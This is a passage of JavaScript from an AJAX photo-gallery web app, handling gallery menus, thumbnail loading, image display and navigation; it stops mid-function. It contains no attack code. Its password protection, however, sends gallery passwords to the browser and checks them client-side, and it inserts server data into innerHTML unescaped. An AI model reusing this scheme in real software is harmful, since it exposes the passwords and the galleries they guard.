
/**
 * AJAX FUNCTIONS
 */

	/****************************************************
	 * DONT EDIT BELOW HERE
	 * UNLESS YOU KNOW WHAT YOU'RE DOING, OF COURSE
	 ****************************************************/
	
	//// CPAINT OBJECT (TEXT OUTPUT)
	var cp = new cpaint()
	cp.set_transfer_mode('get')
	cp.set_response_type('text')
	if (javascript_debug_flag) cp.set_debug(2)
	
	
	//// PRIVATE EVENT HANDLING ////
	window.onload = init;
	window.onkeydown = keyNavigation;
	window.onresize = (preview_mode == 0)
		? resizeImageBg
		: function(){};
	
	// elect menu show/hide vars
	var select_menu = false;
	var select_menu_width = 200;
	
	
	////// FUNCTIONS ////////////////////////////////////////////
	
	//// init functions //////////////////////////////////////////////
	
	function init()
	{
		setCurrentPosition();
		resizeImageBg();
		setMaxSizes();
		setGalleries();
		display('gallery_description','block');
		innerhtml('gallery_title',lang['menu_guide']);
		
		if (use_select_menu) display('msc_menu','none');
		
		if (alert_message.length>0) showAlert();
		
		inited = true;
	}
	
	function resizeImageBg() {
		setMaxSizes();
		var bg_div = getID('image_bg');
		var pageSize = getPageSize();
		bg_div.style.width = pageSize[2]+"px";
		bg_div.style.height = pageSize[3]+"px";
	}
	
	
	//// set gallery and image paths
	
	function setCurrentPosition()
	{
		if (show_permalink) {
		
			var current_path = '';
			var window_location = window.location.href;
			var window_hash = window.location.hash;
			
			// strip any permalinks if they exist
			var wl = window.location.href.length
			var whl = window.location.hash.length
			var location = window.location.href.substring(0,wl-whl);
			
			var current_link = (!active_permalink)
				? location+'#'
				: '';
			
			display('image_url', 'block');
			
			if (active_id) {
				current_link += sendEncoded(active_id.sq(),'url');
				if (active_img) {
					current_link += ':'+ sendEncoded(active_img.sq(),'url');
				}
			}
			
			var gallery_name = sendEncoded(active_id.sq(),'url');
			
			current_path = '<a id="permalink_a" href="javascript:;" '
				+ 'onclick="showPermalink(\''+current_link+'\');">('
				+ lang['permalink']+')</a>'
			
			innerhtml('tools_permalink', current_path);
			innerhtml('image_url', current_path);
			
			//window.location.hash = gallery_name;
		}
	}
	
	function showPermalink(link)
	{
		if (!active_permalink) {
			var openWin = prompt(lang['permalink']+':#',link);
		} else {
			getID('hash').name = link;
			window.location.hash = link;
			return true;
		}
	}
	
	//// check galleries //////////////////////////////////////////////
	
	function setGalleries()
	{
		cp.call( base_url+'libraries/ajax.gateway.php',
			'get_galleries',
			updateGalleries );
		
		var html = '<span><img src="'
			+indicator_src+'" /> '
			+lang['loading_menu']
			+'...</span>';
		
		if (use_select_menu) {
			innerhtml('galleries_select', html);
		} else {
			innerhtml('galleries_menu', html);
		}
	}
	
	function updateGalleries(request)
	{
		if (use_select_menu) {
			updateGalleriesSelect(request);
			
		} else {
			updateGalleriesMenu(request);
		}
	}
	
	
	function updateGalleriesMenu(request)
	{
		var result = getEncoded(request,'enc');
		
		if (result != "null") {
			var galleries = result.split("|");
			var selected = null;
			var menu = "";
			var gallery_list = new Array();
			
			var ul = document.createElement('ul')
			
			for (var i=0; i<galleries.length-1; i++)
			{
				var galleries_data = galleries[i].split(":");
				var id = galleries_data[0];
				var g_id_files = galleries_data[1];
				var g_password = galleries_data[2];
				
				id_files[id] = g_id_files;
				id_password[id] =  (g_password) ? g_password : '';
				
				var li = document.createElement('li')
				li.setAttribute('id', 'mitem_'+i)
				if (i>0) li.setAttribute('class', 'topline')
				
				if (number_galleries) {
					var em = document.createElement('em')
					em.innerHTML = zero(i+1)+'&nbsp;'
					li.appendChild(em)
				}
				
				var a = document.createElement('a')
				a.setAttribute('id', id)
				a.setAttribute('href', 'javascript:;')
				if (!number_galleries) a.setAttribute('class', 'nonum')
				a.onclick = function() { setGallery(this.id.sq(),this) }
				a.innerHTML = ''
					+((g_password)?'<img class="lock" src="images/lock.gif" alt="" />':'')
					+ galleryName(id)
					+' <small>('+g_id_files+')</small>'
					
				li.appendChild(a)
				
				ul.appendChild(li)
			}
			
			innerhtml('galleries_menu', '');
			
			var m = getID('galleries_menu')
			m.appendChild(ul)
			
			if (query_parameters['g']) {
				setGallery(query_parameters['g'], false);
				
			} else if (g_default) {
				if ((g_default_name != '') && (g_default_name_exists)) {
					setGallery(g_default_name, false);
				} else {
					for (i=0; i<galleries.length; i++) {
						var g_default_data = galleries[i].split(":");
						if (g_default_data[1]!="p") {
							setGallery(g_default_data[0], false);
							break;
						}
					}
				}
			}
		
		// no galleries available
		} else {
			var menu = "";
			
			menu += '<ul>';
			menu += '<li id="mitem_0">';
			menu += 'no galleries found';
			menu += '</li>';
			menu += '</ul>';
			
			innerhtml('galleries_menu',menu);
		}
	}
	
	function updateGalleriesSelect(request)
	{
		var result = getEncoded(request,'enc');
		
		if (result != "null") {
			var galleries = result.split("|");
			var selected = null;
			var menu = "";
			var gallery_list = new Array();
			
			menu += lang['menu_title']+': ';
			menu += '<span id="gallery_select_menu">';
			menu += '<select id="select_menu" onchange="setGallery(this.value,false)">';
			menu += '<option value="null">'+lang['menu_guide']+'</option>';
			for (var i=0; i<galleries.length-1; i++)
			{
				var galleries_data = galleries[i].split(":");
				var id = galleries_data[0];
				var g_id_files = galleries_data[1];
				var g_password = galleries_data[2];
				
				id_files[id] = g_id_files;
				id_password[id] = (g_password) ? g_password : '';
				
				menu += '<option value="'+id+'">';
				menu += galleryName(id);
				if (g_password) menu += ' (password)';
				menu += '</option>';
			}
			menu += '</select>';
			menu += '</span>';
			
			innerhtml('galleries_select', menu);
			
			if (query_parameters['g']) {
				setGallery(query_parameters['g'], false);
				
			} else if (g_default) {
				if ((g_default_name != '') && (g_default_name_exists)) {
					setGallery(g_default_name, false);
				} else {
					for (i=0; i<galleries.length; i++) {
						var g_default_data = galleries[i].split(":");
						if (g_default_data[1]!="p") {
							setGallery(g_default_data[0], false);
							break;
						}
					}
				}
			}
		
		// no galleries available
		} else {
			var menu = "";
			
			menu += '<select>';
			menu += '<option value="null">no galleries found</option>';
			menu += '</select>';
			
			innerhtml('galleries_menu',menu);
		}
	}
	
	
	//// set selected gallery ///////////////////////////////////////
	
	function setGallery(id, link)
	{
		if (id_password[id] && id_password[id]!='') {
			gallery_password = prompt('Password:');
			if (gallery_password != id_password[id]) {
				alert('This gallery is password protected, sorry.');
				return false;
			}
		}
		if (!reloading) {
			th_min = 0;
		
			//// check if we're retrieving all thumbnails or just a block
			if (compact_navigation) {
				th_max = ((th_min+th_diff) < id_files[id])
					? (th_min+th_diff)
					: id_files[id];
					
			} else {
				th_max = id_files[id];
			}
		} else {
			reloading = false;
		}
		
		if (active_id != id) {
			
			//// clean up the globals
			
			active_id = id;
			
			active_img = '';
			th_array = Array();
			image_list = Array();
			
			innerhtml('image_title','');
			
			display('msc_image','none');
			
			//display('toolmenu','block');
			
			if (show_visited_galleries && !use_select_menu) {
				if (link) link.style.color = theme_menu_hover;
				else getID(id).style.color = theme_menu_hover;
			}
			
			innerhtml('gallery_title','<img src="'+indicator_src
				+'" /> <span>'+lang['loading_title']+'</span><strong>'
				+galleryName(id)
				+'</strong>...');
			
			getData(id);
			
			getThumbs(id, th_min, th_max);
			
			setCurrentPosition();
		}
	}
	
	//// get gallery data ///////////////////////////////////////
	
	function getData(id)
	{
		display('gallery_description','none');
		innerhtml('gallery_description','');
		
		cp.call(base_url+'libraries/ajax.gateway.php', 'get_data', updateData, Url.encode(id));
		
	}
	
	function updateData(request)
	{
		var result = getEncoded(request,'url');
		//Url.decode(request.responseText);
		
		if (result != 'null') {
			innerhtml('gallery_description', result);
			display('gallery_description','block');
		}
	}
	
	
	function getBlockNav(id)
	{
		if (compact_navigation
			&& (id_files[id] > th_diff)) {
			display('gallery_nav','block');
			display('gallery_nav2','block');
		
			var block = '';
			var l = Math.round(id_files[id])-1;
			var block_number = 0;
			
			//// arrow nav
			//block += '<a href="javascript:;">&larr;</a> ';
		
			var i = 0;
			while (i<=l) {
				var min = i;
				var max = (i+th_diff < l)
					? Math.round(i+th_diff)
					: l;
			
				var show_min = Math.round(min+1);
				var show_max = Math.round(max+1);
			
				current_block = ((th_min <= i) && (th_max >= i)) ? true : false;
			
				if (!current_block) {
					block += '<a href="javascript:;" onclick="getThumbs(';
					block += "'"+id.sq()+"', "+min+","+max;
					block += ')">';
				}
			
				block_number++;
			
				if (!numbered_blocks) {
					if (show_min == show_max) {
						block += ' ['+zero(show_max)+']';
					} else {
						block += ' ['+zero(show_min)+':'+zero(show_max)+']';
					}
				} else {
					block += ' ['+zero(block_number)+']';
				}
			
				if (!current_block) block += '</a>';
			
				i = max+1;
			}
			
			//// arrow nav
			//block += ' <a href="javascript:;">&rarr;</a>';
		
			innerhtml('gallery_block', block);
			innerhtml('gallery_block2', block);
		
		} else {
			display('gallery_nav','none');
			display('gallery_nav2','none');
		}
	}
	
	
	//// update thumbs //////////////////////////////////////////////
	
	function getThumbs(id, min, max)
	{
		if (compact_navigation) {
			th_min = min;
			th_max = max;
		} else {
			th_min = 0;
			th_max = id_files[id];
		}
		
		innerhtml('thumbs_cont','');
		
		showLoadingBar();
		
		active_id = id;
		
		cp.call(base_url+'libraries/ajax.gateway.php', 'get_thumbs', 
			updateThumbs, Url.encode(id), min, max);
		
		getBlockNav(active_id);
	}
	
	
	function updateThumbs(request)
	{
		var result = getEncoded(request,'url');
		
		var output = '';
		var total = 0;
		var overwidth = 12;
		var total_width = 0;
		images_total = 0;
		image_list = [];
		thNum = 0;
		
		gallery_title_cont = '<span class="xtra">'
			+lang['gallery_name_prepend']
			+'</span> <strong>'
			+galleryName(active_id)
			+'</strong> <span class="xtra">'
			+lang['gallery_name_append']
			
			// reload gallery
			+' <a href="javascript:;" onclick="active_id=false;reloading=true;setGallery('
			+"'"+active_id.sq()+"', false"
			+')">('+lang['gallery_reload']+')</a>'
			
			+'</span>';
			
			// slideshow
			var slideshow_link = ' <a href ="javascript:;"'
				+ ' onclick="startSlideshow();">'
				+ '('+lang['slideshow_name']+')</a>'
			
			display('tools_menu', 'block');
			innerhtml('tools_slideshow',slideshow_link);
		
		/* gateway internal error reporting: */
		// no images in gallery
		if (result == "null") {
			resetLoadingBar();
			innerhtml('thumbs_cont', '<p class="noimg">'+lang['alert_no_images']+'...</p>');
			innerhtml('thumbs_load','');
			innerhtml('gallery_title',gallery_title_cont);
		
		// show thumbnails
		} else {
			th_array = result.split('|');
			images_total = th_array.pop();
			
			innerhtml('thumbs_cont','<ul id="thumbs_ul"></ul>');
				
			innerhtml('gallery_title', '<img src="'+indicator_src+'" /> '+gallery_title_cont);
				
			var thul = getID('thumbs_ul')
			
			for (i=1; i<=images_total; i++) {
				var li = document.createElement('li')
				li.setAttribute('id','list_'+i)
				
				var a = document.createElement('a')
				a.setAttribute('id','link_'+i)
				
				var d1 = document.createElement('div')
				d1.setAttribute('id','image_'+i)
				
				var d2 = document.createElement('div')
				d2.setAttribute('class','th_load_div')
				d2.innerHTML = 'loading...'
				
				d1.appendChild(d2)
				a.appendChild(d1)
				
				if (show_thumb_name) {
					var p = document.createElement('p')
					p.setAttribute('id','text_'+i)
					p.innerHTML = '&nbsp;'
					a.appendChild(p)
				}
				
				li.appendChild(a)
				thul.appendChild(li)
				
				/*
				var li = '<li id="list_'+i+'">';
				li += '<a id="link_'+i+'">';
				li += '<div id="image_'+i+'">';
				li += '<div class="th_load_div">';
				li += 'loading...'
				li += '</div>';
				li += '</div>';
				if (show_thumb_name) li += '<p id="text_'+i+'">&nbsp;</p>';
				li += '</a>';
				li += '</li>';
				getID('thumbs_ul').innerHTML += li;
				*/
				//// loadbar
				updateLoadingBar((i-1), images_total);
			}
			
			if (set_thumbnail_container_height) {
				var thContDiv = getID('thumbs_ul');
				thContDiv.style.height = (thContDiv.offsetHeight + 10) + "px";
			}
			
			if (use_load_interval) {
				thNum = 0;
				var intNum = (msie) ? 1 : 0;
				loadThumbsInterval = setInterval("buildAllThumbs()",intNum);
				
			} else {
				thNum = 0;
				buildAllThumbs();
				
			}
		}
	}
	
	
	function buildAllThumbs()
	{
		knum = thNum;
		thNum++;
		inum = thNum;
		
		var output_image = '';
		var output_text = '';
		
		if (th_array[knum]) {
		
			//// loadbar
			updateLoadingBar(knum, images_total);
			
			var image = th_array[knum].split(';');
			var img = image[0];
			var name = imageName(image[1]);
			var w = image[2];
			var h = image[3];
			var thumb = image[4];
			
			image_list[inum] = new Array();
			image_list[inum]['num'] = inum;
			image_list[inum]['image'] = img;
			image_list[inum]['name'] = name;
			image_list[inum]['w'] = w;
			image_list[inum]['h'] = h;
			image_list[inum]['thumb'] = thumb;
			
			if (query_parameters['i']
				&& query_parameters['i']==image_list[inum]['image']) {
				open_image = image_list[inum];
			}
			
			var image_url = base_url+"galleries/"+active_id+"/"+img;
			
			//// attach onclick method to link
			var alink = getID('link_'+inum);
			alink.name = name;
			alink.title = name;
			
			if (preview_mode == 1) {
				// Slimbox 1.22 by Christophe Beyls
				alink.href = image_url;
				alink.rel = 'lightbox['+active_id.sq()+']';
				alink.style.display = 'none';
				
			} else if (preview_mode == 2) {
				// ThickBox 2.1 by Cody Lindley
				alink.href = image_url;
				alink.className = 'thickbox';
				alink.rel = active_id.sq();
				alink.style.display = 'none';
				
			} else {
				alink.href = 'javascript:;';
				alink.num = inum;
				alink.img = img;
				alink.name = name;
				
				alink.onclick = function() {
					getImage(this.num, this.img, this.filename);
				}
			}
			
			if (!square_thumbnails) {
				output_image += '<table id="thtable_'+inum+'" '
					+'border="0" cellpadding="0" '
					+'cellspacing="0" width="100%" height="'+(thumbnail_max_size+6)+'" '
					+ 'valign="middle" align="center">'
					+'<tr><td valign="middle" align="center">';
			}
			
			thumb_div_style = (square_thumbnails)
				? "width:"+(thumbnail_max_size+6)+"px;height:"
					+(thumbnail_max_size+6)+"px;"
				: '';
			
			output_image += '<div style="'+thumb_div_style+'"'
				+' id="thcont_'+inum+'">';
			
			// add image code //
			output_image += '<img id="thimg_'+inum+'"'
				+' class="thumb_loader"'
				+' title="'+name+'" alt="'+name+'"'
				+' src="'+indicator_src+'" />'
			
			output_image += '</div>';
			
			if (!square_thumbnails) {
				output_image += '</td></tr></table>';
			}
				
			if (show_thumb_name) {
				output_text = thumbName(image_list[inum]['name']);
			}
			
			getID('image_'+inum).innerHTML = output_image;
			
			if (show_thumb_name)
				getID('text_'+inum).innerHTML = output_text;
			
			if (set_thumbnail_container_height) {
				var thContDiv = getID('thumbs_ul');
				thContDiv.style.height = (thContDiv.offsetHeight + 10) + "px";
			}
			
			if (!use_load_interval) buildAllThumbs();
			 
		} else {
			
			clearInterval(loadThumbsInterval);
			
			thNum = 0;
			addThumbImage();
			
			if (open_image) {
				getImage(
					open_image['num'],
					open_image['image'],
					open_image['name']
				);
			}
		}
	}
	
	function addThumbImage()
	{
		thNum++;
		var inum = thNum;
		
		updateLoadingBar(inum, images_total);
		
		if (image_list[inum]) {
			var thumbPath = '';
			if (image_list[inum]['thumb'] != '1') {
				if (create_thumbnails) {
					
					// cache_thumb_size = max thumb size when cached
					thumbPath = base_url
						+'libraries/thumb.display.php?'
						+ 'max='+cache_thumb_size+'&img='
						+ base_url+'galleries/'+setUrlEncoding(active_id)+'/'
						+ setUrlEncoding(image_list[inum]['image']);
					
					if (cache_thumbnails)
						thumbPath += '&c=1';
					
					if (square_thumbnails)
						thumbPath += '&sq=1';
					
				} else {
					thumbPath = base_url
						+'galleries/'+setUrlEncoding(active_id)+'/'
						+setUrlEncoding(image_list[inum]['image']);
				}
			} else {
				thumbPath = base_url
					+ 'cache/' + gallery_prefix + setUrlEncoding(active_id)
					+ '/' + thumbnail_prefix
					+ setUrlEncoding(image_list[inum]['image']);
			}
			
			var image = thumbPath;
			var name = image_list[inum]['name'];
			var ow = image_list[inum]['w'];
			var oh = image_list[inum]['h'];
			
			var ww = 0;
			var hh = 0;
				
			if (!square_thumbnails) {
				if (Math.floor(ow) <= Math.floor(oh)) {
					hh = Math.floor(thumbnail_max_size);
					ww = Math.floor((ow*thumbnail_max_size)/oh);
				} else {
					ww = Math.floor(thumbnail_max_size);
					hh = Math.floor((oh*thumbnail_max_size)/ow);
				}
			} else {
				ww = thumbnail_max_size;
				hh = thumbnail_max_size;
			}
			
			output_image = '<img id="thimg_'+inum+'" '
				+'class="thumb_img" '
				+' title="'+name+'" alt="'+name+'"'
				+'src="'+image+'" '
				+'width="'+ww+'" '
				+'height="'+hh+'" />';
			
			innerhtml('thcont_'+inum, output_image);
			
			/*if (show_thumb_name) {
				output_text = thumbName(image_list[inum]['name']);
				getID('text_'+inum).innerHTML = output_text;
			}*/
			
			addThumbImage();
			
		} else {
			
			resetLoadingBar();
			
			delete currentThumb;
			delete currentThumbData;
			thNum = 0;
			
			if (preview_mode == 1) SlimboxInit();
			else if (preview_mode == 2) ThickBoxInit();
			
			innerhtml('gallery_title', gallery_title_cont);
			
			if (set_thumbnail_container_height) {
				var thContDiv = getID('thumbs_ul');
				thContDiv.style.height = (thContDiv.offsetHeight + 10) + "px";
			}
			
			if (continuous_nav
				&& open_first_image
				) {
				last_num = false;
				num = (open_first_image == 'next')
					? 1
					: image_list.length-1;
				getImage(
						num,
						image_list[num]['image'],
						image_list[num]['name']
					);
				open_first_image = false;
			}
		}
	}
	
	
	/**** image extensions init scripts ****/
	
	function LightboxInit() { initLightbox(); }
	function ThickBoxInit() { TB_init(); }
	function SlimboxInit() { Lightbox.init(); }
	
	
	/**** loading bar scripts ****/
	
	function showLoadingBar()
	{
		if (show_loading_bar) {
			display('thumbs_load','block');
			innerhtml('thumbs_load', '<div id="loadbar"></div>');
		}
	}
	
	function updateLoadingBar(num, total)
	{
		if (show_loading_bar) {
			var diff = Math.floor(((content_width-160)/total)*(num+1))+100;
			getID('loadbar').style.width = diff+'px';
			getID('loadbar').innerHTML = '<p>'+lang['loading_title']+' '+(total-num)+'</p>';
		}
	}
	
	function resetLoadingBar()
	{
		if (show_loading_bar) {
			getID('loadbar').innerHTML = '';
			getID('loadbar').style.width = '0px';
			
			display('thumbs_load','none');
			innerhtml('thumbs_load','');
		}
	}
	
	
	
	/**** IMAGE SCRIPTS **************************/
	
	//// show selected image //////////////////////////////////////////
	
	function getImage(num, img, uname)
	{
		//display('img','block');
		
		innerhtml('mainimg_desc', '');
		
		display('gallery_select_menu','none');
		
		var name = imageName(getEncoded(uname,'esc'));
		
		active_img = img.split("/").pop();
		
		var imgPath =  base_url+"galleries/"+active_id+"/"+img;
		
		var imgload = '';
		var name = img.split("/").pop();
		imgload += '<div id="loaddiv"><img id="loadimg" src="'+indicator_src+'" /> '+lang['loading_title']+' <strong>'+name+'</strong></div>';
		
		innerhtml('img',imgload);
		display('img','block');
		
		var loadobj = getID('loaddiv');
		loadobj.style.display = 'block';
		
		active_num = Math.floor(num);
		
		last_num = num;
		
		//// image title scripts
		var load_cont = '<small>'+lang['loading_title']+' '
			+lang['loading_image']+': <strong>'
			+imageName(name)
			+'</strong>...</small>';
		
		innerhtml('image_title',load_cont);
		
		//// relocate msc_image
		var msc_image = getID('msc_image');
		if (!msie) msc_image.style.position = 'fixed';
		
		//display('msc_image','block');
		
		checkNavigation(num);
		
		cp.call(base_url+'libraries/ajax.gateway.php', 'get_image', 
			updateImage, num, Url.encode(imgPath), Url.encode(name));
		
		
		var pageSize = getPageSize();
		var bg_div = getID('image_bg');
		bg_div.style.width = pageSize[2]+"px";
		bg_div.style.height = pageSize[3]+"px";
		
		if (animate_preview) {
			showDiv('msc_image',false);
			
		} else {
			display('msc_image','block');
		}
		
		//// create nav thumbs
		buildNavThumbs();
	}
	
	
	function updateImage(request)
	{
		var result = getEncoded(request,'url');
		
		currentImage = new Image();
		currentImageData = new Object();
		
		var output = result.split(';');
		var num = output[0];
		var img = output[1];
		var name = imageName(getEncoded(output[2],'esc')); //// ######
		var w = Math.floor(output[3]);
		var h = Math.floor(output[4]);
		var desc = (output[5]!='null') ? output[5] : 'null';
		
		var nw = w;
		var nh = h;
		var link = false;
		
		var iname = '<strong>'+name
			+'</strong> <small>'+w+'x'+h+'px ('
			+lang['loading_image']+' '
			+num+' '+lang['loading_of']+' '
			+images_total+')</small>';
			
		var imgout = '';
		
		if (desc != 'null') {
			imgdesc = '<div class="image_description">'+desc+'</div>';
			innerhtml('mainimg_desc', imgdesc);
		} else {
			innerhtml('mainimg_desc', '');
		}
		
		//// size code
		
		//alert('num:'+num+'\nimg:'+img+'\nname:'+name+'\nw:'+w+'\nh:'+h);
		
		if (set_double_encoding) {
			escapedImg = escape(img);
		} else {
			escapedImg = Url.encode(img);
		}
		
		//// this code selects the image to be displayed
		//// whether cached, resized or original
		
		setMaxSizes();
		
		var resized_img = false;
		
		// set cached image size
		if (nh > max_image_height) {
			nh = max_image_height;
			nw = Math.round((w*max_image_height)/h);
			if (nw > max_image_width) {
				dw = nw;
				dh = nh;
				nw = max_image_width;
				nh = Math.round((dh*max_image_width)/dw);
			}
			resized_img = true;
		}

		var img_maxsize = (nh > nw) ? nh : nw;
		var fw = nw;
		var fh = nh;
		
		if (resized_img && create_thumbnails) {
			//// enlarge message on top
			//imgout += '<p><a href="'+escapedImg+'" target="_blank"><small>'+lang['alert_enlarge']+'</small></a></p>';
			
			var targetLink = escapedImg
			
			imgout += '<a href="'+targetLink+'" target="_blank">';
			imgout += '<img id="mainimg" class="imagen" src="';
			
			if (scale_big_images) {
				imgout += base_url+'libraries/thumb.display.php?';
				imgout += 'max='+img_maxsize
					+'&q='+large_image_quality
					+'&img='+escapedImg;
			} else {
				imgout += base_url+escapedImg;
			}
			
			imgout += '" width="'+fw+'" height="'+fh+'"';
			imgout += ' title="'+name+'" alt="'+name+'" />';
			imgout += '</a>';
			
			//// enlarge message at bottom
			imgout += '<p><a href="'+escapedImg+'" target="_blank"><small>'+lang['alert_enlarge']+'</small></a></p>';
			
		} else {
			imgout = '<img id="mainimg" class="imagen" src="'+escapedImg+'"  width="'+fw+'" height="'+fh+'" title="'+name+'" alt="'+name+'" />';
			
		}
		
		var imgdiv = getID('img');
		imgdiv.style.width = Math.round(nw+18)+'px';
		imgdiv.style.height = Math.round(nh+18)+'px';
		
		//// set image source
		innerhtml('img', imgout);
		
		//// set image title
		innerhtml('image_title', iname);
		
		//// add image description
		if (show_image_description) {
			var image_desc_content = 'Description of image'
			var image_desc = '<div class="description">'+image_desc_content+'</div>'
			
			display('mainimg_desc','block');
			innerhtml('mainimg_desc',image_desc);
		}
		
		setCurrentPosition();
	}
	
	function buildNavThumbs()
	{
		innerhtml('nav_thumbs','');
		
		var thumbsDiv = getID('nav_thumbs');
		
		var outimg = '';
		var num = 0;
		var activeNum = Number(active_num);
		
		var image = '';
		var name = '';
		var selectDiv = new Object();
		
		//// first thumbnail
		num = Number(activeNum-2);
		if (num>=1) {
			image = image_list[num]['image'];
			name = image_list[num]['name'];
		} else {
			image = false;
			name = false;
		}
		//selectDiv = addNavThumb(image, name, activeNum);
		thumbsDiv.appendChild(addNavThumb(image, name, num));
		
		//// second thumbnail
		num = Number(activeNum-1);
		if (num>=1) {
			image = image_list[num]['image'];
			name = image_list[num]['name'];
		} else {
			image = false;
			name = false;
		}
		//selectDiv = addNavThumb(image, name, activeNum);
		thumbsDiv.appendChild(addNavThumb(image, name, num));
		
		//// third thumbnail
		num = Number(activeNum);
		if (image_list[num]['image']) {
			image = image_list[num]['image'];
			name = image_list[num]['name'];
		} else {
			image = false;
			name = false;
		}
		//selectDiv = addNavThumb(image, name, activeNum);
		thumbsDiv.appendChild(addNavThumb(image, name, num));
		
		//// fourth thumbnail
		num = Number(activeNum+1);
		if (num<image_list.length) {
			image = image_list[num]['image'];
			name = image_list[num]['name'];
		} else {
			image = false;
			name = false;
		}
		//selectDiv = addNavThumb(image, name, activeNum);
		thumbsDiv.appendChild(addNavThumb(image, name, num));
		
		//// fifth thumbnail
		num = Number(activeNum+2);
		if (num<image_list.length) {
			image = image_list[num]['image'];
			name = image_list[num]['name'];
		} else {
			image = false;
			name = false;
		}
		//selectDiv = addNavThumb(image, name, activeNum)
		thumbsDiv.appendChild(addNavThumb(image, name, num));
	}
	
	function appendNavThumb()
	{
		var thumbsDiv = getID('nav_thumbs');
		
		// delete firstChild
		thumbsDiv.removeChild(thumbsDiv.firstChild);
		
		// check if there's a next image
		var activeNum = Number(active_num);
		var image = false;
		var name = false;
		num = Number(activeNum+2);
		if (num<image_list.length) {
			image = image_list[num]['image'];
			name = image_list[num]['name'];	
		}
		
		// appendChild
		thumbsDiv.appendChild(addNavThumb(image, name, num));
	}
	
	function prependNavThumb()
	{
		var thumbsDiv = getID('nav_thumbs');
		
		var activeNum = Number(active_num);
		var image = false;
		var name = false;
		
		num = Number(activeNum-2);
		if (num>=1) {
			image = image_list[num]['image'];
			name = image_list[num]['name'];
		}
		//alert('active_num:'+active_num+'\nimage:'+image+'\nname:'+name);
		thumbsDiv.removeChild(thumbsDiv.lastChild);
		thumbsDivChilds = thumbsDiv.childNodes;
		
		//thumbsDiv.innerHTML = '';
		
		for (i=thumbsDiv.childNodes.length; i>=0; i--) {
			thumbsDivChilds.push(thumbsDiv.childNodes[i]);
			thumbsDiv.removeChild(thumbsDiv.childNodes[i]);
		}
		
		thumbsDiv.appendChild(addNavThumb(image, name, num));
		
		/*
		for (i=thumbsDiv.childNodes.length-1; i>=1; i--)
		{
			//alert(thumbsDiv.childNodes[i].id)
			var prevNode = thumbsDiv.childNodes[i-1].innerHTML;
			thumbsDiv.childNodes[i].innerHTML = prevNode;
		}
		
		var firstThumb = addNavThumb(image, name, num);
		thumbsDiv.childNodes[0].innerHTML = firstThumb.innerHTML;
		*/
	}
	
	
	function addNavThumb(image, name, num)
	{
		//var thumbsDiv = getID('nav_thumbs');
		var content = '';
		
		if (image) {
			
			var enc_image_path = (cache_thumbnails)
					? base_url + 'cache/' + gallery_prefix
						+ setUrlEncoding(active_id) + '/'
						+ thumbnail_prefix + setUrlEncoding(image)
					: base_url + 'galleries/'
						+ setUrlEncoding(active_id) + '/'
						+ setUrlEncoding(image);
			
			var setLink = document.createElement('a');
			setLink.href = 'javascript:;';
			setLink.onclick = function()
			{
				getImage(num, image.sq(), name.sq());
			}
			
			var setThumb = document.createElement('img');
			setThumb.src = 'libraries/thumb.display.php?max='
				+square_thumbnail_max_size
				+'&sq=1&pr=1&img='+enc_image_path
			setThumb.alt = name;
			setThumb.className = (num == active_num) ? 'sel' : 'th';
			
			setLink.appendChild(setThumb);
			
			/*
			var setLink_pre = '<a href="javascript:;" onclick="getImage('
				+"'"+num+"','"+image.sq()+"','"+name.sq()+"'"
				+')">';
			var setLink_post = '</a>';
			
			var thumbClass = (num==active_num)
				? 'sel'
				: 'th';
			
			thumbClass = 'sel';
			
			var setThumb = '<img src="libraries/thumb.display.php?max='
				+square_thumbnail_max_size
				+'&sq=1&pr=1&img='+enc_image_path
				+'" alt ="'+name+'" class="'+thumbClass+'" />';
				
			content = setLink_pre + setThumb + setLink_post;
			*/
			
			content = setLink;
			
		} else {
			var setThumb = document.createElement('img');
			setThumb.src = 'images/spacer.gif';
			setThumb.alt = '';
			setThumb.className = 'th';
			
			/*var thumbClass = 'th'
			var setThumb = '<img src="images/spinner.gif" alt ="spinner" class="'+thumbClass+'" />';*/
				
			content = setThumb;
			num = 'null';
		}
			
		var selectDiv = document.createElement('div');
		selectDiv.id = 'navthumb_'+num;
		selectDiv.className = 'navthumb';
		selectDiv.appendChild(content);
		
		//selectDiv.innerHTML = content;
		//if (content != '') selectDiv.appendChild(content);
		
		return selectDiv;
	}
	
	
	function getImage_th(num, img, name)
	{
		getImage(num, getEncoded(img,'enc'), getEncoded(name,'enc'));
	}
	
	//// image navigation scripts /////////////////////////////////////////
	
	/*** NEW NEXT/PREV IMAGES SCRIPT *******************************/
	
	function checkNavigation(num)
	{
		var n = Math.floor(num);
	
		var i_prev = ((n-1)>0) ? 'inline' : 'none';
		if (continuous_nav)
			if (((n+th_min)-1)>0) {
				i_prev = 'inline'
				go_to_prev = true
			} else {
				i_prev = 'none'
				go_to_prev = false
			}
	
		var i_next = ((n+1)<image_list.length) ? 'inline' : 'none';
		if (continuous_nav)
			if ((n+th_min)<id_files[active_id]) {
				i_next = 'inline'
				go_to_next = true
			} else {
				i_next = 'none'
				go_to_next = false
			}
	
		display('a_prev',i_prev);
		display('a_next',i_next);
		
		key_navigation = true;
	}
	
	
	function prevImage()
	{
		nav_direction_flag = 'prev';
		
		var id = active_id;
		var num = Math.floor(active_num);
		var p = ((num-1)>0) ? num-1 : false;
		
		if (p != false) {
			getImage(p, image_list[p]['image'], image_list[p]['name']);
		} else {
			if (continuous_nav) {
				var max = th_min-1;
				var min = ((th_min-th_diff)>0)
					? th_min-th_diff-1
					: 0;
				
				// if there are more thumbs
				if (compact_navigation
					&& id_files[id]>th_diff) {
					loadingNewBlock();
					getThumbs(id, min, max);
					open_first_image = 'prev';
				}
			}
		}
		if (slideshow_flag) startTimer();
	}
	
	function nextImage(flag)
	{
		if (flag) first_image_in_slideshow_viewed = 1;
		
		nav_direction_flag = 'next';
		
		var id = active_id;
		var num = Math.floor(active_num);
		var n = ((num+1)<image_list.length) ? num+1 : false;
		
		if (n != false) {
			getImage(n, image_list[n]['image'], image_list[n]['name']);
		} else {
			if (continuous_nav) {
				var min = th_max+1;
				var max = ((th_max+th_diff)>id_files[id])
					? id_files[id]
					: th_max+th_diff+1;
				
				// if there are more thumbs
				if (compact_navigation
					&& max <= id_files[id]) {
					loadingNewBlock();
					getThumbs(id, min, max);
					open_first_image = 'next';
				}
			}
		}
		if (slideshow_flag) startTimer();
	}
	
	function loadingNewBlock()
	{
		display('img','none');
		
		var load_cont = '<img id="loadimg" src="'+indicator_src+'" /> '
			+'&nbsp;<strong>'+lang["loading_thumbs"]+'</strong>...';
		
		innerhtml('image_title',load_cont);
	}
	
	
	function nextImageSlideshow()
	{
		nav_direction_flag = 'next';
		close_slideshow = false;
		
